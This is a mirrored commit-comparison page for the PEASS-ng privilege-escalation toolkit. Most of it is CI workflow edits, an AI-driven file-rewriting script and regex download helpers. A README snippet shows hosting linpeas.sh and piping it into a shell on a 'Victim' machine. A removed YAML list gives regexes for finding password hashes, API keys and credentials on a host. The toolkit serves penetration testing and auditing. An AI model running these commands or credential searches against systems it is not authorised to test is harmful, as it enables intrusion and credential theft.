mirror of
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git
synced 2025-12-08 10:01:29 +00:00
Compare commits
96 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
78ad8346a3 | ||
|
|
a0f612b582 | ||
|
|
aa59afe289 | ||
|
|
08144aaac3 | ||
|
|
8f533247be | ||
|
|
660dc3dc60 | ||
|
|
7b8b6670b8 | ||
|
|
6f48de1573 | ||
|
|
3cceae682d | ||
|
|
4a29293199 | ||
|
|
6d2e33cd61 | ||
|
|
8dd0350b5c | ||
|
|
b4801ccc4d | ||
|
|
083ed6ae7d | ||
|
|
ad2150ded5 | ||
|
|
74377ec9e8 | ||
|
|
917a3a0101 | ||
|
|
099755dbcb | ||
|
|
b9a44ffe66 | ||
|
|
cdd342fb26 | ||
|
|
36523f520f | ||
|
|
7f4965c0b7 | ||
|
|
898b29b0fa | ||
|
|
e36d5a5736 | ||
|
|
11cfe79ad0 | ||
|
|
a1552d61df | ||
|
|
71ec9c7d31 | ||
|
|
d4ff43b604 | ||
|
|
56a193df60 | ||
|
|
f67bedda4f | ||
|
|
f988d8b05f | ||
|
|
78c932f1af | ||
|
|
7e7738ab98 | ||
|
|
68cd1c28df | ||
|
|
58719a6075 | ||
|
|
2a4868c0eb | ||
|
|
e4b9ae6479 | ||
|
|
7b096cd930 | ||
|
|
a9ae25cdc3 | ||
|
|
e7617700b3 | ||
|
|
96c821193e | ||
|
|
7bb66d2182 | ||
|
|
711d9f1a95 | ||
|
|
a36c2c9107 | ||
|
|
2963e47866 | ||
|
|
d20699ed51 | ||
|
|
df4f122a53 | ||
|
|
7f8ea5fa44 | ||
|
|
7e9c9b4e5b | ||
|
|
fad2771dfb | ||
|
|
3e213bd8fd | ||
|
|
5356d3f2ec | ||
|
|
2ac2debc59 | ||
|
|
bb47a172b3 | ||
|
|
69c3906ab7 | ||
|
|
3bec4c4b52 | ||
|
|
345bf63b40 | ||
|
|
1e796b9876 | ||
|
|
39d811c16f | ||
|
|
a0175b0172 | ||
|
|
b0f4868feb | ||
|
|
4f295a138d | ||
|
|
a1e06de8ca | ||
|
|
2775083680 | ||
|
|
62e4b071cd | ||
|
|
4a0b8fb065 | ||
|
|
4ba0f6b6c2 | ||
|
|
ff96d02125 | ||
|
|
4f3a8265e0 | ||
|
|
8912bd2b9c | ||
|
|
438e00527d | ||
|
|
144c0aef6f | ||
|
|
c597da42f7 | ||
|
|
613bf14049 | ||
|
|
e1fdef50d9 | ||
|
|
b1845a1a18 | ||
|
|
19a2ed5f5a | ||
|
|
1a7183decf | ||
|
|
8ee66af278 | ||
|
|
0682cafe08 | ||
|
|
aa1f162359 | ||
|
|
60b2e1d974 | ||
|
|
5b96594c3c | ||
|
|
eabec47c08 | ||
|
|
7b9bf9cf91 | ||
|
|
ded6f3045f | ||
|
|
d20638fa7b | ||
|
|
aa69a494b4 | ||
|
|
a4b226c16e | ||
|
|
3cc49b5b9a | ||
|
|
e5b9b67786 | ||
|
|
e29c9e88d5 | ||
|
|
8b6ce759d0 | ||
|
|
116d842158 | ||
|
|
46033a7af0 | ||
|
|
0ab4a65bab |
1
.github/ISSUE_TEMPLATE.md
vendored
1
.github/ISSUE_TEMPLATE.md
vendored
@@ -1,4 +1,5 @@
|
||||
If you are going to suggest something, please remove the following template.
|
||||
If your issue is related with WinPEAS.ps1 please mention https://github.com/RandolphConley
|
||||
|
||||
#### Issue description
|
||||
|
||||
|
||||
72
.github/workflows/CI-master_tests.yml
vendored
72
.github/workflows/CI-master_tests.yml
vendored
@@ -1,9 +1,11 @@
|
||||
name: CI-master_test
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- '.github/**'
|
||||
|
||||
schedule:
|
||||
- cron: "5 4 * * SUN"
|
||||
@@ -27,6 +29,10 @@ jobs:
|
||||
with:
|
||||
ref: ${{ github.head_ref }}
|
||||
|
||||
- name: Download regexes
|
||||
run: |
|
||||
powershell.exe -ExecutionPolicy Bypass -File build_lists/download_regexes.ps1
|
||||
|
||||
# Add MSBuild to the PATH: https://github.com/microsoft/setup-msbuild
|
||||
- name: Setup MSBuild.exe
|
||||
uses: microsoft/setup-msbuild@v1.0.2
|
||||
@@ -43,9 +49,9 @@ jobs:
|
||||
- name: run MSBuild
|
||||
run: msbuild $env:Solution_Path
|
||||
|
||||
# Execute all unit tests in the solution
|
||||
- name: Execute unit tests
|
||||
run: dotnet test $env:Solution_Path
|
||||
# Execute all unit tests in the solution - It's broken :(
|
||||
#- name: Execute unit tests
|
||||
# run: dotnet test $env:Solution_Path
|
||||
|
||||
# Build & update all versions
|
||||
- name: Build all versions
|
||||
@@ -134,6 +140,12 @@ jobs:
|
||||
name: winPEAS.bat
|
||||
path: winPEAS\winPEASbat\winPEAS.bat
|
||||
|
||||
- name: Upload winpeas.ps1
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: winPEAS.ps1
|
||||
path: winPEAS\winPEASps1\winPEAS.ps1
|
||||
|
||||
# Git add
|
||||
#- name: Create local changes
|
||||
# run: |
|
||||
@@ -198,8 +210,36 @@ jobs:
|
||||
run: linPEAS/linpeas.sh -h
|
||||
|
||||
# Run linpeas as a test
|
||||
- name: Run linpeas
|
||||
run: linPEAS/linpeas.sh -a -D
|
||||
- name: Run linpeas system_information
|
||||
run: linPEAS/linpeas.sh -o system_information -a
|
||||
|
||||
- name: Run linpeas container
|
||||
run: linPEAS/linpeas.sh -o container -a
|
||||
|
||||
- name: Run linpeas cloud
|
||||
run: linPEAS/linpeas.sh -o cloud -a
|
||||
|
||||
- name: Run linpeas procs_crons_timers_srvcs_sockets
|
||||
run: linPEAS/linpeas.sh -o procs_crons_timers_srvcs_sockets -a
|
||||
|
||||
- name: Run linpeas network_information
|
||||
run: linPEAS/linpeas.sh -o network_information -t -a
|
||||
|
||||
- name: Run linpeas users_information
|
||||
run: linPEAS/linpeas.sh -o users_information -a
|
||||
|
||||
- name: Run linpeas software_information
|
||||
run: linPEAS/linpeas.sh -o software_information -a
|
||||
|
||||
- name: Run linpeas interesting_perms_files
|
||||
run: linPEAS/linpeas.sh -o interesting_perms_files -a
|
||||
|
||||
- name: Run linpeas interesting_files
|
||||
run: linPEAS/linpeas.sh -o interesting_files -a
|
||||
|
||||
# Too much time
|
||||
#- name: Run linpeas api_keys_regex
|
||||
# run: linPEAS/linpeas.sh -o api_keys_regex -r
|
||||
|
||||
# Upload files for release
|
||||
- name: Upload linpeas.sh
|
||||
@@ -208,6 +248,12 @@ jobs:
|
||||
name: linpeas.sh
|
||||
path: linPEAS/linpeas.sh
|
||||
|
||||
- name: Upload linpeas_fat.sh
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: linpeas_fat.sh
|
||||
path: linPEAS/linpeas_fat.sh
|
||||
|
||||
## Linux bins
|
||||
- name: Upload linpeas_linux_386
|
||||
uses: actions/upload-artifact@v2
|
||||
@@ -335,6 +381,11 @@ jobs:
|
||||
with:
|
||||
name: linpeas.sh
|
||||
|
||||
- name: Download linpeas_fat.sh
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: linpeas_fat.sh
|
||||
|
||||
- name: Download linpeas_linux_386
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
@@ -369,6 +420,10 @@ jobs:
|
||||
id: date
|
||||
run: echo "::set-output name=date::$(date +'%Y%m%d')"
|
||||
|
||||
- name: Generate random
|
||||
id: random_n
|
||||
run: echo "::set-output name=some_rand::$(openssl rand -hex 4)"
|
||||
|
||||
# Create the release
|
||||
- name: Create Release
|
||||
id: create_release
|
||||
@@ -376,8 +431,8 @@ jobs:
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
with:
|
||||
tag_name: ${{steps.date.outputs.date}}
|
||||
release_name: Release ${{ github.ref }} ${{steps.date.outputs.date}}
|
||||
tag_name: ${{steps.date.outputs.date}}-${{steps.random_n.outputs.some_rand}}
|
||||
release_name: Release ${{ github.ref }} ${{steps.date.outputs.date}}-${{steps.random_n.outputs.some_rand}}
|
||||
draft: false
|
||||
prerelease: false
|
||||
|
||||
@@ -388,4 +443,3 @@ jobs:
|
||||
assets_path: .
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
|
||||
23
.github/workflows/aicoder.yml
vendored
Normal file
23
.github/workflows/aicoder.yml
vendored
Normal file
@@ -0,0 +1,23 @@
|
||||
name: aicoder
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
Build_and_test_winpeas_master:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
# checkout
|
||||
- name: AICoder GH Action
|
||||
uses: AICoderHub/GH_Action@v0.11
|
||||
with:
|
||||
INPUT_MODE: 'file-optimizer'
|
||||
INPUT_PROMPT: ''
|
||||
INPUT_OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
|
||||
INPUT_MODEL: 'gpt-4'
|
||||
TEMPLATE_FILES: ''
|
||||
ORIGIN_BRANCH: 'aicoder'
|
||||
TO_BRANCH: 'master'
|
||||
CHECK_PATH: './parsers/json2pdf.py'
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
2
.gitignore
vendored
2
.gitignore
vendored
@@ -28,3 +28,5 @@ sh2bin
|
||||
sh2bin/*
|
||||
.dccache
|
||||
./*/.dccache
|
||||
regexes.yaml
|
||||
build_lists/regexes.yaml
|
||||
208
AICoder.py
Normal file
208
AICoder.py
Normal file
@@ -0,0 +1,208 @@
|
||||
import argparse
|
||||
import os
|
||||
import sys
|
||||
import string
|
||||
import random
|
||||
from typing import List
|
||||
import openai
|
||||
import json
|
||||
import subprocess
|
||||
import tiktoken
|
||||
import requests
|
||||
from github import Github
|
||||
|
||||
#########################
|
||||
#### OPENAI FUNCTIONS ###
|
||||
#########################
|
||||
|
||||
def reportTokens(prompt, model="gpt-4"):
|
||||
encoding = tiktoken.encoding_for_model(model)
|
||||
print("\033[37m" + str(len(encoding.encode(prompt))) + " tokens\033[0m" + " in prompt: " + "\033[92m" + prompt[:50] + "\033[0m" + ("..." if len(prompt) > 50 else ""))
|
||||
|
||||
def write_file(file_path: str, content: str):
|
||||
"""Write content to a file creating the needed directories first"""
|
||||
os.makedirs(os.path.dirname(file_path), exist_ok=True)
|
||||
|
||||
with open(file_path, "w") as file:
|
||||
file.write(content)
|
||||
|
||||
def delete_file(file_path: str):
|
||||
"""Delete a file if it exists"""
|
||||
|
||||
if os.path.isfile(file_path):
|
||||
os.remove(file_path)
|
||||
|
||||
openai_available_functions = {
|
||||
"write_file": write_file, "delete_file": delete_file
|
||||
}
|
||||
|
||||
openai_functions = [
|
||||
{
|
||||
"name": "write_file",
|
||||
"description": "Write a file giving the path and the content",
|
||||
"parameters": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"file_path": {
|
||||
"type": "string",
|
||||
"description": "Path to the file to write",
|
||||
},
|
||||
"content": {
|
||||
"type": "string",
|
||||
"description": "Content to write in the file",
|
||||
},
|
||||
},
|
||||
"required": ["file_path", "content"],
|
||||
},
|
||||
},
|
||||
{
|
||||
"name": "delete_file",
|
||||
"description": "Delete a file",
|
||||
"parameters": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"file_path": {
|
||||
"type": "string",
|
||||
"description": "Path to the file to write",
|
||||
}
|
||||
},
|
||||
"required": ["file_path"],
|
||||
},
|
||||
}
|
||||
]
|
||||
|
||||
|
||||
#########################
|
||||
#### GIT FUNCTIONS ######
|
||||
#########################
|
||||
|
||||
|
||||
def create_pull_request(branch_name, commit_message, github_token):
|
||||
github = Github(github_token)
|
||||
repo = github.get_repo(os.environ["GITHUB_REPOSITORY"])
|
||||
|
||||
# Create a new branch
|
||||
base_branch = repo.get_branch(repo.default_branch)
|
||||
repo.create_git_ref(ref=f"refs/heads/{branch_name}", sha=base_branch.commit.sha)
|
||||
|
||||
# Commit changes to the new branch
|
||||
subprocess.run(["git", "checkout", branch_name])
|
||||
subprocess.run(["git", "add", "."])
|
||||
subprocess.run(["git", "commit", "-m", commit_message])
|
||||
subprocess.run(["git", "push", "origin", branch_name])
|
||||
|
||||
# Create a pull request
|
||||
pr = repo.create_pull(
|
||||
title=commit_message,
|
||||
body="Generated by OpenAI Github Action",
|
||||
head=branch_name,
|
||||
base=repo.default_branch
|
||||
)
|
||||
|
||||
return pr.html_url
|
||||
|
||||
|
||||
#########################
|
||||
#### FILE PROCESSING ####
|
||||
#########################
|
||||
|
||||
|
||||
def process_file(prompt: str, api_key: str, file_path: str, model: str="gpt-4") -> str:
|
||||
with open(file_path, "r") as file:
|
||||
file_content = file.read()
|
||||
|
||||
messages = [
|
||||
{"role": "system", "content": f"You are a developer and your goal is to generate code. The user will ask you to improve and modify some code. Your response must be a valid JSON with the path of each file to write as keys and the content of the files as values. Several files can be written at the same time."},
|
||||
{"role": "user", "content": prompt},
|
||||
{"role": "user", "content": f"This is the code from the file '{file_path}':\n\n{file_content}"}
|
||||
]
|
||||
openai.api_key = api_key
|
||||
|
||||
reportTokens(f"This is the code from the file '{file_path}':\n\n{file_content}")
|
||||
|
||||
response = openai.ChatCompletion.create(
|
||||
model=model,
|
||||
messages=messages,
|
||||
temperature=0
|
||||
)
|
||||
response_message = response["choices"][0]["message"]
|
||||
|
||||
# Step 2: check if GPT wanted to call a function
|
||||
if response_message.get("function_call"):
|
||||
|
||||
function_name = response_message["function_call"]["name"]
|
||||
fuction_to_call = openai_available_functions[function_name]
|
||||
function_args = json.loads(response_message["function_call"]["arguments"])
|
||||
fuction_to_call(**function_args)
|
||||
|
||||
|
||||
def process_folder(prompt: str, api_key: str, folder_path: str, model: str="gpt-4") -> List[str]:
|
||||
responses = []
|
||||
for root, _, files in os.walk(folder_path):
|
||||
for file in files:
|
||||
file_path = os.path.join(root, file)
|
||||
response = process_file(prompt, api_key, file_path, model)
|
||||
responses.append(response)
|
||||
|
||||
|
||||
#########################
|
||||
#### MAIN FUNCTION ######
|
||||
#########################
|
||||
|
||||
|
||||
def get_random_string(length):
|
||||
# With combination of lower and upper case
|
||||
letters = string.ascii_letters
|
||||
result_str = ''.join(random.choice(letters) for i in range(length))
|
||||
return result_str
|
||||
|
||||
def main(prompt: str, api_key: str, file_path: str, github_token: str, model: str="gpt-4"):
|
||||
if os.path.isfile(file_path):
|
||||
process_file(prompt, api_key, file_path, model)
|
||||
elif os.path.isdir(file_path):
|
||||
process_folder(prompt, api_key, file_path, model)
|
||||
else:
|
||||
print("Error: Invalid file path.")
|
||||
sys.exit(1)
|
||||
|
||||
try:
|
||||
create_pull_request(get_random_string(5), f"Modified {file_path}", github_token)
|
||||
except Exception as e:
|
||||
print(f"Error: Failed to create pull request. {e}")
|
||||
sys.exit(1)
|
||||
|
||||
if __name__ == "__main__":
|
||||
# Setup the argument parser
|
||||
parser = argparse.ArgumentParser()
|
||||
|
||||
# Add arguments for prompt, api_key, file_path and github_token
|
||||
parser.add_argument('--prompt', default=None, type=str, help='Input prompt')
|
||||
parser.add_argument('--api-key', default=None, type=str, help='Input API key')
|
||||
parser.add_argument('--path', default=None, type=str, help='Input file/folder path')
|
||||
parser.add_argument('--github-token', default=None, type=str, help='Github token')
|
||||
parser.add_argument('--model', default="gpt-4", type=str, help='Model to use')
|
||||
|
||||
# Parse the arguments
|
||||
args = parser.parse_args()
|
||||
prompt = os.environ.get("INPUT_PROMPT", args.prompt)
|
||||
api_key = os.environ.get("INPUT_API_KEY", args.api_key)
|
||||
file_path = os.environ.get("INPUT_FILE_PATH", args.path)
|
||||
github_token = os.environ.get("GITHUB_TOKEN", args.github_token)
|
||||
model = os.environ.get("INPUT_MODEL", args.model)
|
||||
|
||||
if not prompt or not api_key or not file_path:
|
||||
print("Error: Missing required inputs.")
|
||||
sys.exit(1)
|
||||
|
||||
#if not github_token:
|
||||
# print("Error: Missing github token.")
|
||||
# sys.exit(1)
|
||||
|
||||
if os.path.exists(prompt):
|
||||
with open(prompt, "r") as file:
|
||||
prompt = file.read()
|
||||
|
||||
if prompt.startswith("http"):
|
||||
prompt = requests.get(prompt).text
|
||||
|
||||
main(prompt, api_key, file_path, github_token, model)
|
||||
@@ -30,7 +30,7 @@ Do you want to have **access the latest version of Hacktricks and PEASS**, obtai
|
||||
|
||||
**LinPEAS, WinPEAS and MacPEAS** aren’t enough for you? Welcome [**The PEASS Family**](https://opensea.io/collection/the-peass-family/), a limited collection of [**exclusive NFTs**](https://opensea.io/collection/the-peass-family/) of our favourite PEASS in disguise, designed by my team. Go **get your favourite and make it yours!** And if you are a **PEASS & Hacktricks enthusiast**, you can get your hands now on **our [custom swag](https://peass.creator-spring.com/) and show how much you like our projects!**
|
||||
|
||||
You can also, join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) to learn about latest news in cybersecurity and meet other cybersecurity enthusiasts, or follow me on Twitter 🐦 [@carlospolopm](https://twitter.com/carlospolopm).
|
||||
You can also, join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) to learn about latest news in cybersecurity and meet other cybersecurity enthusiasts, or follow me on Twitter 🐦 [@hacktricks_live](https://twitter.com/hacktricks_live).
|
||||
|
||||
## Let's improve PEASS together
|
||||
|
||||
|
||||
5
build_lists/download_regexes.ps1
Normal file
5
build_lists/download_regexes.ps1
Normal file
@@ -0,0 +1,5 @@
|
||||
$scriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
|
||||
$filePath = Join-Path $scriptDir "regexes.yaml"
|
||||
$url = "https://raw.githubusercontent.com/JaimePolop/RExpository/main/regex.yaml"
|
||||
|
||||
Invoke-WebRequest $url -OutFile $filePath
|
||||
24
build_lists/download_regexes.py
Executable file
24
build_lists/download_regexes.py
Executable file
@@ -0,0 +1,24 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import os
|
||||
import requests
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
def download_regexes():
|
||||
print("[+] Downloading regexes...")
|
||||
url = "https://raw.githubusercontent.com/JaimePolop/RExpository/main/regex.yaml"
|
||||
response = requests.get(url)
|
||||
if response.status_code == 200:
|
||||
# Save the content of the response to a file
|
||||
script_folder = Path(os.path.dirname(os.path.abspath(__file__)))
|
||||
target_file = script_folder / 'regexes.yaml'
|
||||
|
||||
with open(target_file, "w") as file:
|
||||
file.write(response.text)
|
||||
print(f"Downloaded and saved in '{target_file}' successfully!")
|
||||
else:
|
||||
print("Error: Unable to download the regexes file.")
|
||||
exit(1)
|
||||
|
||||
download_regexes()
|
||||
@@ -1,204 +1,2 @@
|
||||
paths:
|
||||
- $HOMESEARCH
|
||||
- /etc
|
||||
- /opt
|
||||
- /tmp
|
||||
- /private
|
||||
- /Applications
|
||||
- /var/www
|
||||
- /var/log
|
||||
- /private/var/log
|
||||
- /usr/local/www/
|
||||
- $backup_folders_row
|
||||
|
||||
|
||||
regular_expresions:
|
||||
# Hashes passwords
|
||||
- name: Hashed Passwords
|
||||
regexes:
|
||||
- name: Apr1 MD5
|
||||
regex: '\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}'
|
||||
|
||||
- name: Apache SHA
|
||||
regex: '\{SHA\}[0-9a-zA-Z/_=]{10,}'
|
||||
|
||||
- name: Blowfish
|
||||
regex: '\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*'
|
||||
|
||||
- name: Drupal
|
||||
regex: '\$S\$[a-zA-Z0-9_/\.]{52}'
|
||||
|
||||
- name: Joomlavbulletin
|
||||
regex: '[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}'
|
||||
|
||||
- name: Linux MD5
|
||||
regex: '\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}'
|
||||
|
||||
- name: phpbb3
|
||||
regex: '\$H\$[a-zA-Z0-9_/\.]{31}'
|
||||
|
||||
- name: sha512crypt
|
||||
regex: '\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}'
|
||||
|
||||
- name: Wordpress
|
||||
regex: '\$P\$[a-zA-Z0-9_/\.]{31}'
|
||||
|
||||
|
||||
# Raw Hashes
|
||||
- name: Raw Hashes
|
||||
regexes:
|
||||
#- name: md5 #Too many false positives
|
||||
# regex: '(^|[^a-zA-Z0-9])[a-fA-F0-9]{32}([^a-zA-Z0-9]|$)'
|
||||
|
||||
#- name: sha1 #Too many false positives
|
||||
# regex: '(^|[^a-zA-Z0-9])[a-fA-F0-9]{40}([^a-zA-Z0-9]|$)'
|
||||
|
||||
#- name: sha256 #Too many false positives
|
||||
# regex: '(^|[^a-zA-Z0-9])[a-fA-F0-9]{64}([^a-zA-Z0-9]|$)'
|
||||
|
||||
- name: sha512
|
||||
regex: '(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)'
|
||||
|
||||
# APIs
|
||||
# https://github.com/l4yton/RegHex/blob/master/README.md
|
||||
- name: APIs
|
||||
regexes:
|
||||
#- name: Artifactory API Token # False +
|
||||
# regex: 'AKC[a-zA-Z0-9]{10,}' # False +
|
||||
|
||||
#- name: Artifactory Password
|
||||
# regex: 'AP[\dABCDEF][a-zA-Z0-9]{8,}'
|
||||
|
||||
#- name: Authorization Basic # Too many false positives
|
||||
# regex: 'basic [a-zA-Z0-9_:\.=\-]+'
|
||||
|
||||
#- name: Authorization Bearer # Too many false positives
|
||||
# regex: 'bearer [a-zA-Z0-9_\.=\-]+'
|
||||
|
||||
- name: AWS Client ID
|
||||
regex: '(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'
|
||||
extra_grep: '-Ev ":#|:<\!\-\-"'
|
||||
|
||||
- name: AWS MWS Key
|
||||
regex: 'amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}'
|
||||
|
||||
- name: AWS Secret Key
|
||||
regex: aws(.{0,20})?['"][0-9a-zA-Z\/+]{40}['"]
|
||||
|
||||
#- name: Base32 #Too many false positives
|
||||
# regex: '(?:[A-Z2-7]{8})*(?:[A-Z2-7]{2}={6}|[A-Z2-7]{4}={4}|[A-Z2-7]{5}={3}|[A-Z2-7]{7}=)?'
|
||||
|
||||
#- name: Base64 #Too many false positives
|
||||
# regex: '(eyJ|YTo|Tzo|PD[89]|aHR0cHM6L|aHR0cDo|rO0)[a-zA-Z0-9+/]+={0,2}'
|
||||
|
||||
- name: Basic Auth Credentials
|
||||
regex: '://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+'
|
||||
|
||||
- name: Cloudinary Basic Auth
|
||||
regex: 'cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+'
|
||||
|
||||
- name: Facebook Access Token
|
||||
regex: 'EAACEdEose0cBA[0-9A-Za-z]+'
|
||||
|
||||
- name: Facebook Client ID
|
||||
regex: ([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['"][0-9]{13,17}
|
||||
|
||||
- name: Facebook Oauth
|
||||
regex: >
|
||||
[fF][aA][cC][eE][bB][oO][oO][kK].*['|"][0-9a-f]{32}['|"]
|
||||
|
||||
- name: Facebook Secret Key
|
||||
regex: >
|
||||
([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['"][0-9a-f]{32}
|
||||
|
||||
- name: Github
|
||||
regex: >
|
||||
github(.{0,20})?['"][0-9a-zA-Z]{35,40}
|
||||
|
||||
- name: Google API Key
|
||||
regex: 'AIza[0-9A-Za-z_\-]{35}'
|
||||
|
||||
- name: Google Cloud Platform API Key
|
||||
regex: >
|
||||
(google|gcp|youtube|drive|yt)(.{0,20})?['"][AIza[0-9a-z_\-]{35}]['"]
|
||||
|
||||
- name: Google Drive Oauth
|
||||
regex: '[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com'
|
||||
|
||||
- name: Google Oauth Access Token
|
||||
regex: 'ya29\.[0-9A-Za-z_\-]+'
|
||||
|
||||
- name: Heroku API Key
|
||||
regex: '[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}'
|
||||
|
||||
- name: LinkedIn Client ID
|
||||
regex: >
|
||||
linkedin(.{0,20})?['"][0-9a-z]{12}['"]
|
||||
|
||||
- name: LinkedIn Secret Key
|
||||
regex: >
|
||||
linkedin(.{0,20})?['"][0-9a-z]{16}['"]
|
||||
|
||||
- name: Mailchamp API Key
|
||||
regex: '[0-9a-f]{32}-us[0-9]{1,2}'
|
||||
|
||||
- name: Mailgun API Key
|
||||
regex: 'key-[0-9a-zA-Z]{32}'
|
||||
|
||||
- name: Picatic API Key
|
||||
regex: 'sk_live_[0-9a-z]{32}'
|
||||
|
||||
- name: Slack Token
|
||||
regex: 'xox[baprs]-([0-9a-zA-Z]{10,48})?'
|
||||
|
||||
#- name: Slack Webhook #Not interesting
|
||||
# regex: 'https://hooks.slack.com/services/T[a-zA-Z0-9_]{10}/B[a-zA-Z0-9_]{10}/[a-zA-Z0-9_]{24}'
|
||||
|
||||
- name: Stripe API Key
|
||||
regex: 'k_live_[0-9a-zA-Z]{24}'
|
||||
|
||||
- name: Square Access Token
|
||||
regex: 'sqOatp-[0-9A-Za-z_\-]{22}'
|
||||
|
||||
- name: Square Oauth Secret
|
||||
regex: 'sq0csp-[ 0-9A-Za-z_\-]{43}'
|
||||
|
||||
- name: Twilio API Key
|
||||
regex: 'SK[0-9a-fA-F]{32}'
|
||||
|
||||
- name: Twitter Client ID
|
||||
regex: >
|
||||
[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['"][0-9a-z]{18,25}
|
||||
|
||||
- name: Twitter Oauth
|
||||
regex: >
|
||||
[tT][wW][iI][tT][tT][eE][rR].{0,30}['"\\s][0-9a-zA-Z]{35,44}['"\\s]
|
||||
|
||||
- name: Twitter Secret Key
|
||||
regex: >
|
||||
[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['"][0-9a-z]{35,44}
|
||||
|
||||
#- name: Vault Token #False +
|
||||
# regex: '[sb]\.[a-zA-Z0-9]{24}'
|
||||
|
||||
|
||||
# Misc
|
||||
- name: Misc
|
||||
regexes:
|
||||
- name: Basic Auth
|
||||
regex: '//(.+):(.+)@'
|
||||
|
||||
- name: Passwords1
|
||||
regex: (pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)
|
||||
|
||||
#- name: Passwords2
|
||||
# regex: 'passwd|creden|pwd'
|
||||
|
||||
- name: Usernames
|
||||
regex: 'username.*[=:].+'
|
||||
|
||||
#- name: IPs
|
||||
# regex: '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)'
|
||||
|
||||
#- name: Emails # Too many false positives
|
||||
# regex: '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}'
|
||||
This is a placeholder.
|
||||
To fill this yaml execute one of the scripts download_regexes.py or download_regexes.ps1
|
||||
File diff suppressed because it is too large
Load Diff
@@ -22,7 +22,7 @@ curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas
|
||||
|
||||
```bash
|
||||
# Local network
|
||||
sudo python -m SimpleHTTPServer 80 #Host
|
||||
sudo python3 -m http.server 80 #Host
|
||||
curl 10.10.10.10/linpeas.sh | sh #Victim
|
||||
|
||||
# Without curl
|
||||
@@ -47,12 +47,6 @@ chmod +x linpeas_linux_amd64
|
||||
./linpeas_linux_amd64
|
||||
```
|
||||
|
||||
```bash
|
||||
# Execute from memory in Penelope session
|
||||
# From: https://github.com/brightio/penelope
|
||||
> run peass-ng
|
||||
```
|
||||
|
||||
## Firmware Analysis
|
||||
If you have a **firmware** and you want to **analyze it with linpeas** to **search for passwords or bad configured permissions** you have 2 main options.
|
||||
|
||||
@@ -107,7 +101,7 @@ By default linpeas takes around **4 mins** to complete, but It could take from *
|
||||
- **-D** (Debug) - Print information about the checks that haven't discovered anything and about the time each check took
|
||||
- **-d/-p/-i/-t** (Local Network Enumeration) - Linpeas can also discover and port-scan local networks
|
||||
|
||||
This script has **several lists** included inside of it to be able to **color the results** in order to highlight PE vector.
|
||||
**It's recommended to use the params `-a` and `-r` if you are looking for a complete and intensive scan**.
|
||||
|
||||
```
|
||||
Enumerate and search Privilege Escalation vectors.
|
||||
|
||||
4622
linPEAS/builder/linpeas_base.sh
Normal file
4622
linPEAS/builder/linpeas_base.sh
Normal file
File diff suppressed because one or more lines are too long
49
linPEAS/builder/linpeas_parts/10_api_keys_regex.sh
Normal file
49
linPEAS/builder/linpeas_parts/10_api_keys_regex.sh
Normal file
@@ -0,0 +1,49 @@
|
||||
|
||||
search_for_regex(){
|
||||
title=$1
|
||||
regex=$2
|
||||
caseSensitive=$3
|
||||
|
||||
if [ "$caseSensitive" ]; then
|
||||
i="i"
|
||||
else
|
||||
i=""
|
||||
fi
|
||||
|
||||
print_3title_no_nl "Searching $title..."
|
||||
|
||||
if [ "$SEARCH_IN_FOLDER" ]; then
|
||||
